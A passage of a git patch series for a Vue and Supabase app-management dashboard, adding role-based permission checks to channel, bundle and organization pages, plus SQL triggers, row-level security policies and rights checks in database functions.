 defined-as-private: defined as normal
 defined-as-public: defined as default
 delete-account: Delete Account
-used-to-create: Account with this email used to exist, cannot recreate
 deleted: deleted
 details-and-logs: Details and logs
 device: Device
@@ -237,6 +236,7 @@ need-more-contact-us: Need more ? Contact us for tailored plan
 no-channel-linked: No channel, click to add
 no-devices: No devices
 no-logs: No logs
+no-permission: Insufficient permissions
 no-version-linked: No version, click to add
 not-found: Not found
 notifications: Notifications
@@ -359,6 +359,7 @@ usage: Usage
 usage-success: Your plan has been setup this page will be update, in few minutes
 usage-title: Total
 use-the-command: 'Use the command:'
+used-to-create: Account with this email used to exist, cannot recreate
 user: User
 user-already-invited: This user is already invited to this organization
 validate: Validate
diff --git a/src/components/dashboard/Dashboard.vue b/src/components/dashboard/Dashboard.vue
index 73421fe692..10d9d47f88 100644
--- a/src/components/dashboard/Dashboard.vue
+++ b/src/components/dashboard/Dashboard.vue
@@ -5,28 +5,23 @@ import {
 } from 'konsta/vue'
 import { useRoute } from 'vue-router'
 import { Capacitor } from '@capacitor/core'
+import { useI18n } from 'vue-i18n'
 import WelcomeBanner from './WelcomeBanner.vue'
 import Usage from '~/components/dashboard/Usage.vue'
 import TopApps from '~/components/dashboard/TopApps.vue'
-import SharedApps from '~/components/dashboard/SharedApps.vue'
 import type { Database } from '~/types/supabase.types'
 import plusOutline from '~icons/ion/add-outline?width=1em&height=1em'
 
-interface ChannelUserApp {
-  app_id: Database['public']['Tables']['apps']['Row']
-  channel_id: Database['public']['Tables']['channels']['Row'] & {
-    version: Database['public']['Tables']['app_versions']['Row']
-  }
-}
 const props = defineProps<{
   apps: Database['public']['Tables']['apps']['Row'][]
-  sharedApps: (Database['public']['Tables']['channel_users']['Row'])[] & ChannelUserApp[]
+  sharedApps: Database['public']['Tables']['apps']['Row'][]
 }>()
 const emit = defineEmits(['reloadApp', 'reloadShared'])
 const isMobile = Capacitor.isNativePlatform()
 const isLoading = ref(false)
 const route = useRoute()
 const stepsOpen = ref(false)
+const { t } = useI18n()
 
 function onboardingDone() {
   stepsOpen.value = !stepsOpen.value
@@ -52,9 +47,8 @@ watchEffect(async () => {
       <div class="grid grid-cols-12 gap-6">
         <!-- Line chart (Acme Plus) -->
         <!-- Table (Top Channels) -->
-        <TopApps :apps="props.apps" @reload="emit('reloadApp')" />
-
-        <SharedApps v-if="props.sharedApps.length" :shared-apps="props.sharedApps" @reload="emit('reloadShared')" />
+        <TopApps :apps="props.apps" :header="t('top-apps')" @reload="emit('reloadApp')" />
+        <TopApps v-if="sharedApps.length > 0" :apps="props.sharedApps" :header="t('shared-apps')" @reload="emit('reloadApp')" />
       </div>
     </div>
     <k-fab v-if="!stepsOpen && !isMobile" class="right-4-safe bottom-4-safe secondary fixed z-20" @click="stepsOpen = true">
diff --git a/src/components/dashboard/TopApps.vue b/src/components/dashboard/TopApps.vue
index b252972176..f294570aaa 100644
--- a/src/components/dashboard/TopApps.vue
+++ b/src/components/dashboard/TopApps.vue
@@ -6,6 +6,7 @@ import type { Database } from '~/types/supabase.types'
 
 const props = defineProps<{
   apps: (Database['public']['Tables']['apps']['Row'])[]
+  header: string
 }>()
 const emit = defineEmits(['reload'])
 const { t } = useI18n()
@@ -15,7 +16,7 @@ const { t } = useI18n()
   <div id="my_apps" class="col-span-full border border-slate-200 rounded-lg bg-white shadow-lg xl:col-span-16 dark:border-slate-900 dark:bg-gray-800">
     <header class="border-b border-slate-100 px-5 py-4">
       <h2 class="font-semibold text-slate-800 dark:text-white">
-        {{ t('top-apps') }}
+        {{ header }}
       </h2>
     </header>
     <div class="">
diff --git a/src/pages/app/p/[p]/bundle/[bundle].vue b/src/pages/app/p/[p]/bundle/[bundle].vue
index c2448b9546..61b9463287 100644
--- a/src/pages/app/p/[p]/bundle/[bundle].vue
+++ b/src/pages/app/p/[p]/bundle/[bundle].vue
@@ -1,5 +1,5 @@
 <script setup lang="ts">
-import { computed, ref, watchEffect } from 'vue'
+import { computed, ref, watch, watchEffect } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { useRoute, useRouter } from 'vue-router'
 import copy from 'copy-text-to-clipboard'
@@ -15,11 +15,14 @@ import { useDisplayStore } from '~/stores/display'
 import IconDevice from '~icons/heroicons/device-phone-mobile'
 import IconInformations from '~icons/material-symbols/info-rounded'
 import type { Tab } from '~/components/comp_def'
+import type { OrganizationRole } from '~/stores/organization'
+import { useOrganizationStore } from '~/stores/organization'
 
 const { t } = useI18n()
 const route = useRoute()
 const router = useRouter()
 const displayStore = useDisplayStore()
+const organizationStore = useOrganizationStore()
 const main = useMainStore()
 const supabase = useSupabase()
 const ActiveTab = ref('info')
@@ -32,6 +35,31 @@ const channel = ref<(Database['public']['Tables']['channels']['Row'])>()
 const version_meta = ref<Database['public']['Tables']['app_versions_meta']['Row']>()
 const secondaryChannel = ref<boolean>(false)
 
+const showChannel = computed(() => {
+  // channel.value && ((!channel.value.enableAbTesting && !channel.value.enable_progressive_deploy && channel.value.version === version.value.id) || ((channel.value.enableAbTesting || channel.value.enable_progressive_deploy) && channel.value.secondVersion === version.value.id))
+  if (!channel.value || !version.value)
+    return false
+
+  if (!channel.value.enableAbTesting && !channel.value.enable_progressive_deploy && channel.value.version === version.value.id)
+    return true
+
+  if ((channel.value.enableAbTesting || channel.value.enable_progressive_deploy) && channel.value.secondVersion === version.value.id)
+    return true
+
+  return false
+})
+
+const role = ref<OrganizationRole | null>(null)
+watch(version, (version) => {
+  if (!version) {
+    role.value = null
+    return
+  }
+
+  role.value = organizationStore.getCurrentRole(version.user_id, version.app_id, undefined)
+  console.log(role.value)
+})
+
 async function copyToast(text: string) {
   copy(text)
   toast.success(t('copied-to-clipboard'))
@@ -140,6 +168,10 @@ async function setChannelSkipProgressive(channel: Database['public']['Tables']['
 async function ASChannelChooser() {
   if (!version.value)
     return
+  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
   const buttons = []
 
   // This makes sure that A and B cannot be selected on the same time
@@ -295,15 +327,9 @@ async function openChannel() {
     return
   if (!channel.value)
     return ASChannelChooser()
+
   displayStore.actionSheetOption = {
     buttons: [
-      {
-        text: t('set-bundle'),
-        handler: () => {
-          displayStore.showActionSheet = false
-          ASChannelChooser()
-        },
-      },
       {
         text: t('button-cancel'),
         role: 'cancel',
@@ -313,38 +339,54 @@ async function openChannel() {
       },
     ],
   }
+
+  // Push set-bundle if role > read
+  if (displayStore.actionSheetOption.buttons && role.value && (role.value === 'admin' || role.value === 'owner' || role.value === 'write')) {
+    displayStore.actionSheetOption.buttons.splice(0, 0, {
+      text: t('set-bundle'),
+      handler: () => {
+        displayStore.showActionSheet = false
+        ASChannelChooser()
+      },
+    })
+  }
+
+  const baseIndex = (displayStore.actionSheetOption?.buttons?.length ?? 0) - 1
+
   // push in button at index 1 if channel is set
   if (channel.value && displayStore.actionSheetOption.buttons) {
-    displayStore.actionSheetOption.buttons.splice(1, 0, {
+    displayStore.actionSheetOption.buttons.splice(baseIndex, 0, {
       text: t('open-channel'),
       handler: () => {
         displayStore.showActionSheet = false
         openChannelLink()
       },
     })
-    displayStore.actionSheetOption.buttons.splice(2, 0, {
-      text: t('unlink-channel'),
-      handler: async () => {
-        displayStore.showActionSheet = false
-        try {
-          if (!channel.value)
-            return
-          const id = await getUnknowBundleId()
-          if (!id)
-            return
-          if (!secondaryChannel.value)
-            await setChannel(channel.value, id)
-          else
-            await setSecondChannel(channel.value, id)
-
-          await getChannels()
-        }
-        catch (error) {
-          console.error(error)
-          toast.error(t('cannot-test-app-some'))
-        }
-      },
-    })
+    if (role.value && (role.value === 'admin' || role.value === 'owner' || role.value === 'write')) {
+      displayStore.actionSheetOption.buttons.splice(baseIndex + 1, 0, {
+        text: t('unlink-channel'),
+        handler: async () => {
+          displayStore.showActionSheet = false
+          try {
+            if (!channel.value)
+              return
+            const id = await getUnknowBundleId()
+            if (!id)
+              return
+            if (!secondaryChannel.value)
+              await setChannel(channel.value, id)
+            else
+              await setSecondChannel(channel.value, id)
+
+            await getChannels()
+          }
+          catch (error) {
+            console.error(error)
+            toast.error(t('cannot-test-app-some'))
+          }
+        },
+      })
+    }
   }
   displayStore.showActionSheet = true
 }
@@ -474,7 +516,7 @@ function hideString(str: string) {
             <InfoRow v-if="version_meta?.uninstalls" :label="t('uninstall')" :value="version_meta.uninstalls.toLocaleString()" />
             <InfoRow v-if="version_meta?.fails" :label="t('fail')" :value="version_meta.fails.toLocaleString()" />
             <!-- <InfoRow v-if="version_meta?.installs && version_meta?.fails" :label="t('percent-fail')" :value="failPercent" /> -->
-            <InfoRow v-if="channel" :label="t('channel')" :value="(channel!.enableAbTesting || channel!.enable_progressive_deploy) ? (secondaryChannel ? `${channel!.name}-B` : `${channel!.name}-A`) : channel!.name" :is-link="true" @click="openChannel()" />
+            <InfoRow v-if="showChannel" :label="t('channel')" :value="(channel!.enableAbTesting || channel!.enable_progressive_deploy) ? (secondaryChannel ? `${channel!.name}-B` : `${channel!.name}-A`) : channel!.name" :is-link="true" @click="openChannel()" />
             <InfoRow v-else :label="t('channel')" :value="t('set-bundle')" :is-link="true" @click="openChannel()" />
             <!-- session_key -->
             <InfoRow v-if="version.session_key" :label="t('session_key')" :value="hideString(version.session_key)" :is-link="true" @click="copyToast(version?.session_key || '')" />
diff --git a/src/pages/app/p/[p]/channel/[channel].vue b/src/pages/app/p/[p]/channel/[channel].vue
index aae66daa30..ee1a1f4d2e 100644
--- a/src/pages/app/p/[p]/channel/[channel].vue
+++ b/src/pages/app/p/[p]/channel/[channel].vue
@@ -1,5 +1,5 @@
 <script setup lang="ts">
-import { ref, watchEffect } from 'vue'
+import { ref, watch, watchEffect } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { useRoute, useRouter } from 'vue-router'
 import {
@@ -20,6 +20,8 @@ import IconUsers from '~icons/heroicons/users-solid'
 import IconDevice from '~icons/heroicons/device-phone-mobile'
 import type { Tab } from '~/components/comp_def'
 import { urlToAppId } from '~/services/conversion'
+import type { OrganizationRole } from '~/stores/organization'
+import { useOrganizationStore } from '~/stores/organization'
 
 interface Channel {
   version: Database['public']['Tables']['app_versions']['Row']
@@ -27,6 +29,7 @@ interface Channel {
 }
 const router = useRouter()
 const displayStore = useDisplayStore()
+const organizationStore = useOrganizationStore()
 const { t } = useI18n()
 const route = useRoute()
 const main = useMainStore()
@@ -39,6 +42,17 @@ const channel = ref<Database['public']['Tables']['channels']['Row'] & Channel>()
 const ActiveTab = ref('info')
 const secondaryVersionPercentage = ref(50)
 
+const role = ref<OrganizationRole | null>(null)
+watch(channel, (channel) => {
+  if (!channel) {
+    role.value = null
+    return
+  }
+
+  role.value = organizationStore.getCurrentRole(channel.created_by, channel.app_id, channel.id)
+  console.log(role.value)
+})
+
 const tabs: Tab[] = [
   {
     label: t('info'),
@@ -116,6 +130,8 @@ async function getChannel() {
             created_at
           ),
           created_at,
+          created_by,
+          app_id,
           allow_emulator,
           allow_dev,
           allow_device_self_set,
@@ -156,6 +172,11 @@ async function reload() {
 }
 
 async function saveChannelChange(key: string, val: any) {
+  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
+
   console.log('saveChannelChange', key, val)
   if (!id.value || !channel.value)
     return
@@ -191,6 +212,10 @@ watchEffect(async () => {
 })
 
 async function makeDefault(val = true) {
+  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
   displayStore.actionSheetOption = {
     header: t('are-u-sure'),
     message: val ? t('confirm-public-desc') : t('making-this-channel-'),
@@ -248,6 +273,10 @@ async function getUnknownVersion(): Promise<number> {
 async function openPannel() {
   if (!channel.value || !main.auth)
     return
+  if (role.value && !(role.value === 'admin' || role.value === 'owner' || role.value === 'write')) {
+    toast.error(t('no-permission'))
+    return
+  }
   displayStore.actionSheetOption = {
     buttons: [
       {
@@ -273,6 +302,10 @@ async function openPannel() {
 }
 
 async function enableAbTesting() {
+  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
   if (!channel.value)
     return
 
@@ -298,6 +331,10 @@ async function enableAbTesting() {
 }
 
 async function enableProgressiveDeploy() {
+  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
   if (!channel.value)
     return
 
@@ -325,6 +362,10 @@ async function enableProgressiveDeploy() {
 }
 
 const debouncedSetSecondaryVersionPercentage = debounce (async (percentage: number) => {
+  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
   const { error } = await supabase
     .from('channels')
     .update({ secondaryVersionPercentage: percentage / 100 })
@@ -335,6 +376,10 @@ const debouncedSetSecondaryVersionPercentage = debounce (async (percentage: numb
 }, 500, { leading: true, trailing: true, maxWait: 500 })
 
 const debouncedInformAboutProgressiveDeployPercentageSet = debounce(() => {
+  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
   toast.error(t('progressive-deploy-set-percentage'))
 }, 500, { leading: true, trailing: true, maxWait: 500 })
 
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 29160df1ff..7ab5598196 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -8,7 +8,7 @@ import type { ArrayElement, Concrete, Merge } from '~/services/types'
 
 type User = Database['public']['Tables']['users']['Row']
 export type Organization = ArrayElement<Database['public']['Functions']['get_orgs_v2']['Returns']>
-type OrganizationRole = Database['public']['Enums']['user_min_right'] | 'owner'
+export type OrganizationRole = Database['public']['Enums']['user_min_right'] | 'owner'
 export type ExtendedOrganizationMember = Concrete<Merge<ArrayElement<Database['public']['Functions']['get_org_members']['Returns']>, { id: number }>>
 export type ExtendedOrganizationMembers = ExtendedOrganizationMember[]
 // TODO Create user rights in database
@@ -38,6 +38,15 @@ export const useOrganizationStore = defineStore('organization', () => {
     currentOrganization.value = value
   }
 
+  const getCurrentRole = (appOwner: string, appId?: string, channelId?: number): OrganizationRole => {
+    for (const org of _organizations.value.values()) {
+      if (org.created_by === appOwner)
+        return org.role as OrganizationRole
+    }
+
+    throw new Error(`Cannot find role for (${appOwner}, ${appId}, ${channelId}))`)
+  }
+
   const setCurrentOrganizationToMain = () => {
     const organization = organizations.value.find(org => org.role === 'owner')
     if (!organization)
@@ -157,6 +166,7 @@ export const useOrganizationStore = defineStore('organization', () => {
     setCurrentOrganizationFromValue,
     setCurrentOrganizationToMain,
     getMembers,
+    getCurrentRole,
     fetchOrganizations,
     dedupFetchOrganizations,
   }
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 0788001fef..5adc234b39 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -1008,6 +1008,76 @@ Begin
 End; 
 $$;
 
+CREATE OR REPLACE FUNCTION noupdate() RETURNS trigger
+   LANGUAGE plpgsql AS
+$$BEGIN
+    -- API key? We do not care
+    IF auth.uid() IS NULL THEN
+        RETURN NEW;
+    END IF;
+
+    -- If the user is an admin, we do not care
+    IF (is_app_owner(auth.uid(), OLD.app_id) OR is_admin(auth.uid())) THEN
+        RETURN NEW;
+    END IF;
+
+    -- If the user has the 'admin' role then we do not care
+    IF check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(OLD.created_by), NULL::character varying, NULL::bigint) THEN
+        RETURN NEW;
+    END IF;
+
+    IF NEW."id" <> OLD."id" THEN
+        RAISE EXCEPTION 'not allowed id';
+    END IF;
+        IF NEW."name" <> OLD."name" THEN
+        RAISE EXCEPTION 'not allowed name';
+    END IF;
+    IF NEW."app_id" <> OLD."app_id" THEN
+        RAISE EXCEPTION 'not allowed app_id';
+    END IF;
+    IF NEW."created_by" <> OLD."created_by" THEN
+        RAISE EXCEPTION 'not allowed created_by';
+    END IF;
+    IF NEW."public" <> OLD."public" THEN
+        RAISE EXCEPTION 'not allowed public';
+    END IF;
+    IF NEW."disableAutoUpdateUnderNative" <> OLD."disableAutoUpdateUnderNative" THEN
+        RAISE EXCEPTION 'not allowed disableAutoUpdateUnderNative';
+    END IF;
+    IF NEW."enableAbTesting" <> OLD."enableAbTesting" THEN
+        RAISE EXCEPTION 'not allowed enableAbTesting';
+    END IF;
+    IF NEW."enable_progressive_deploy" <> OLD."enable_progressive_deploy" THEN
+        RAISE EXCEPTION 'not allowed enable_progressive_deploy';
+    END IF;
+    IF NEW."secondaryVersionPercentage" <> OLD."secondaryVersionPercentage" THEN
+        RAISE EXCEPTION 'not allowed secondaryVersionPercentage';
+    END IF;
+    IF NEW."disableAutoUpdateToMajor" <> OLD."disableAutoUpdateToMajor" THEN
+        RAISE EXCEPTION 'not allowed disableAutoUpdateToMajor';
+    END IF;
+    IF NEW."ios" <> OLD."ios" THEN
+        RAISE EXCEPTION 'not allowed ios';
+    END IF;
+    IF NEW."android" <> OLD."android" THEN
+        RAISE EXCEPTION 'not allowed android';
+    END IF;
+    IF NEW."allow_device_self_set" <> OLD."allow_device_self_set" THEN
+        RAISE EXCEPTION 'not allowed allow_device_self_set';
+    END IF;
+    IF NEW."allow_emulator" <> OLD."allow_emulator" THEN
+        RAISE EXCEPTION 'not allowed allow_emulator';
+    END IF;
+    IF NEW."allow_dev" <> OLD."allow_dev" THEN
+      RAISE EXCEPTION 'not allowed allow_dev';
+   END IF;
+   RETURN NEW;
+END;$$;
+
+CREATE TRIGGER noupdate
+   BEFORE UPDATE ON channels FOR EACH ROW
+   EXECUTE PROCEDURE noupdate();
+
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE FUNCTION "public"."is_onboarded"("userid" "uuid") RETURNS boolean
     LANGUAGE "plpgsql" SECURITY DEFINER
@@ -1949,6 +2019,21 @@ AS PERMISSIVE FOR SELECT
 TO authenticated
 USING (public.is_member_of_org(auth.uid(), id) OR public.is_owner_of_org(auth.uid(), id));
 
+CREATE POLICY "Allow org members to select" ON "public"."channels"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id(created_by), NULL::character varying, NULL::bigint));
+
+CREATE POLICY "Allow org members to select" ON "public"."app_versions"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id(user_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org admins to edit" ON "public"."channels"
+AS PERMISSIVE FOR UPDATE
+TO authenticated
+USING (check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(created_by), NULL::character varying, NULL::bigint))
+WITH CHECK (check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(created_by), NULL::character varying, NULL::bigint));
 
 CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH CHECK (false);
 

From 0fb20468f5a036f67ca01f92097beed172baef4a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 3 Sep 2023 20:25:57 +0200
Subject: [PATCH 25/96] Further frontend + backend RLS

---
 src/components/dashboard/Usage.vue            |  4 +-
 src/layouts/settings.vue                      | 10 ----
 src/pages/app/p/[p]/bundle/[bundle].vue       |  2 +-
 .../settings/organization/Api-Keys.vue        | 12 -----
 .../settings/organization/General.vue         | 25 ++++++++-
 .../settings/organization/Members.vue         |  9 +++-
 src/stores/organization.ts                    | 15 +++++-
 supabase/migrations/20230815171919_base.sql   | 52 +++++++++++++++++--
 8 files changed, 97 insertions(+), 32 deletions(-)
 delete mode 100644 src/pages/dashboard/settings/organization/Api-Keys.vue

diff --git a/src/components/dashboard/Usage.vue b/src/components/dashboard/Usage.vue
index f9c9b7e66a..c6604feb95 100644
--- a/src/components/dashboard/Usage.vue
+++ b/src/components/dashboard/Usage.vue
@@ -60,7 +60,7 @@ async function getAppStats() {
     return supabase
       .from('app_stats')
       .select()
-      .eq('user_id', main.user?.id)
+      // .eq('user_id', main.user?.id)
       .eq('app_id', props.appId)
       .like('date_id', `${date_id}%`)
   }
@@ -68,7 +68,7 @@ async function getAppStats() {
     return supabase
       .from('app_stats')
       .select()
-      .eq('user_id', main.user?.id)
+      // .eq('user_id', main.user?.id)
       .like('date_id', `${date_id}%`)
   }
 }
diff --git a/src/layouts/settings.vue b/src/layouts/settings.vue
index 3524f2796d..e2938004f2 100644
--- a/src/layouts/settings.vue
+++ b/src/layouts/settings.vue
@@ -57,16 +57,6 @@ const organizationTabs = ref<Tab[]>([
     icon: shallowRef(IconPassword),
     key: '/dashboard/settings/organization/members',
   },
-  {
-    label: t('api-keys'),
-    icon: shallowRef(IconNotification),
-    key: '/dashboard/settings/organization/api-keys',
-  },
-  {
-    label: t('billing'),
-    icon: shallowRef(IconPlans),
-    key: '/dashboard/settings/organization/billing',
-  },
 ])
 
 const type: 'user' | 'organization' = ref('user')
diff --git a/src/pages/app/p/[p]/bundle/[bundle].vue b/src/pages/app/p/[p]/bundle/[bundle].vue
index 61b9463287..4f8e8a4719 100644
--- a/src/pages/app/p/[p]/bundle/[bundle].vue
+++ b/src/pages/app/p/[p]/bundle/[bundle].vue
@@ -168,7 +168,7 @@ async function setChannelSkipProgressive(channel: Database['public']['Tables']['
 async function ASChannelChooser() {
   if (!version.value)
     return
-  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+  if (role.value && !(role.value === 'admin' || role.value === 'owner' || role.value === 'write')) {
     toast.error(t('no-permission'))
     return
   }
diff --git a/src/pages/dashboard/settings/organization/Api-Keys.vue b/src/pages/dashboard/settings/organization/Api-Keys.vue
deleted file mode 100644
index 99e6e2a307..0000000000
--- a/src/pages/dashboard/settings/organization/Api-Keys.vue
+++ /dev/null
@@ -1,12 +0,0 @@
-<script setup lang="ts">
-import ApiKeys from '~/components/ApiKeys.vue'
-</script>
-
-<template>
-  <ApiKeys />
-</template>
-
-<route lang="yaml">
-meta:
-  layout: settings
-</route>
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
index 4a43b71922..829b748ec5 100644
--- a/src/pages/dashboard/settings/organization/General.vue
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -2,6 +2,7 @@
 import { computed, onMounted, ref } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { storeToRefs } from 'pinia'
+import { toast } from 'vue-sonner'
 import { useOrganizationStore } from '~/stores/organization'
 import { useDisplayStore } from '~/stores/display'
 import { useMainStore } from '~/stores/main'
@@ -30,6 +31,11 @@ const name = computed({
 })
 
 async function presentActionSheet() {
+  if (!currentOrganization.value || !(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
+
   displayStore.showActionSheet = true
   displayStore.actionSheetOption = {
     header: '',
@@ -60,6 +66,11 @@ async function presentActionSheet() {
 }
 
 async function saveChanges() {
+  if (!currentOrganization.value || !(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
+
   const main = useMainStore()
 
   console.log(`name: ${name.value}`)
@@ -80,6 +91,18 @@ async function saveChanges() {
 
   console.log('save changes!')
 }
+
+function onInputClick(event: MouseEvent) {
+  if (!(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
+    toast.error(t('no-permission'))
+    event.preventDefault()
+  }
+}
+
+function onInputKeyDown(event: Event) {
+  if (!(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner'))
+    event.preventDefault()
+}
 </script>
 
 <template>
@@ -109,7 +132,7 @@ async function saveChanges() {
         <div>{{ 'You can modify the organization\'s informations here.' }}</div>
         <div class="mb-6">
           <label for="base-input" class="block mb-2 text-sm font-medium text-gray-900 dark:text-white">{{ 'Organization Name' }}</label>
-          <input id="base-input" v-model="name " type="text" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500">
+          <input id="base-input" v-model="name " type="text" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" @click="(event) => onInputClick(event)" @keydown="(event) => onInputKeyDown(event)">
         </div>
       </div>
       <footer style="margin-top: auto">
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index b1d60b6903..452b766493 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -41,6 +41,11 @@ function validateEmail(email: string) {
 }
 
 async function showInviteModal() {
+  if (!currentOrganization.value || !(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
+    toast.error(t('no-permission'))
+    return
+  }
+
   let permision: Database['public']['Enums']['user_min_right'] | undefined
   let email: string | undefined
 
@@ -152,7 +157,7 @@ function handleSendInvitationOutput(output: string) {
 async function didCancel(name: string) {
   displayStore.dialogOption = {
     header: t('alert-confirm-delete'),
-    message: `${t('alert-not-reverse-message')} ${t('alert-delete-message')} ${name}?`,
+    message: `${t('alert-not-reverse-message')} ${t('alert-delete-message')}?`,
     buttons: [
       {
         text: t('button-cancel'),
@@ -227,7 +232,7 @@ async function deleteMember(member: ExtendedOrganizationMember) {
               <button class="w-7 h-7 bg-transparent ml-4">
                 <Wrench class="mr-4 text-lg text-[#397cea]" />
               </button>
-              <button v-if="(member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id) && member.uid !== currentOrganization?.created_by" class="w-7 h-7 bg-transparent ml-4" @click="deleteMember(member)">
+              <button v-if="(member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id || organizationStore.currentRole === 'admin') && member.uid !== currentOrganization?.created_by" class="w-7 h-7 bg-transparent ml-4" @click="deleteMember(member)">
                 <Trash class="mr-4 text-lg text-red-600" />
               </button>
             </div>
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 7ab5598196..27d3cfef0f 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -1,5 +1,5 @@
 import { defineStore } from 'pinia'
-import { computed, ref } from 'vue'
+import { computed, ref, watch } from 'vue'
 import type { ComputedRef, Ref } from 'vue'
 import { useMainStore } from './main'
 import type { Database } from '~/types/supabase.types'
@@ -29,6 +29,18 @@ export const useOrganizationStore = defineStore('organization', () => {
   )
 
   const currentOrganization = ref<Organization>()
+  const currentRole = ref<OrganizationRole | null>(null)
+
+  watch(currentOrganization, (currentOrganization) => {
+    if (!currentOrganization) {
+      currentRole.value = null
+      return
+    }
+
+    // eslint-disable-next-line @typescript-eslint/no-use-before-define
+    currentRole.value = getCurrentRole(currentOrganization.created_by, undefined, undefined)
+    console.log(currentRole.value)
+  })
 
   const setCurrentOrganization = (id: string) => {
     currentOrganization.value = organizations.value.find(org => org.gid === id)
@@ -162,6 +174,7 @@ export const useOrganizationStore = defineStore('organization', () => {
   return {
     organizations,
     currentOrganization,
+    currentRole,
     setCurrentOrganization,
     setCurrentOrganizationFromValue,
     setCurrentOrganizationToMain,
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 5adc234b39..5a131ef5f1 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -273,6 +273,10 @@ CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(aid in
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
 begin
+  IF NOT (is_owner_of_org(auth.uid(), get_org_members.guild_id) OR check_min_rights('read'::user_min_right, auth.uid(), get_org_members.guild_id, NULL::character varying, NULL::bigint)) THEN
+    raise exception 'NO_RIGHTS';
+  END IF;
+
   return query select o.id as aid, users.id as uid, users.email, users.image_url from org_users as o
   join users on users.id = o.user_id
   where o.org_id=get_org_members.guild_id
@@ -668,9 +672,24 @@ CREATE FUNCTION "public"."invite_user_to_org"("email" "varchar", "org_id" "uuid"
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
 Declare  
- invited_user record;
- current_record record;
+  org record;
+  invited_user record;
+  current_record record;
 Begin
+  SELECT * FROM ORGS
+  INTO org
+  WHERE orgs.id=invite_user_to_org.org_id;
+
+  IF org IS NULL THEN
+    return 'NO_ORG';
+  END IF;
+
+  IF NOT (org.created_by=auth.uid()) THEN
+      if NOT (check_min_rights('admin'::user_min_right, auth.uid(), invite_user_to_org.org_id, NULL::character varying, NULL::bigint)) THEN
+          return 'NO_RIGHTS';
+      END IF;
+  END IF;
+
   SELECT users.id FROM USERS
   INTO invited_user
   WHERE users.email=invite_user_to_org.email;
@@ -823,6 +842,17 @@ Begin
 End;  
 $$;
 
+CREATE FUNCTION "public"."is_allowed_capgkey"("apikey" "text", "keymode" "public"."key_mode"[], "app_id" character varying, "right" "public"."user_min_right", "user_id" "uuid") RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN (SELECT EXISTS (SELECT 1
+  FROM apikeys
+  WHERE key=apikey
+  AND mode=ANY(keymode))) AND (is_app_owner(get_user_id(apikey), app_id) OR check_min_rights(is_allowed_capgkey.right, get_user_id(apikey), get_user_main_org_id(user_id), app_id, NULL::bigint));
+End;  
+$$;
+
 
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE FUNCTION "public"."is_app_owner"("userid" "uuid", "appid" character varying) RETURNS boolean
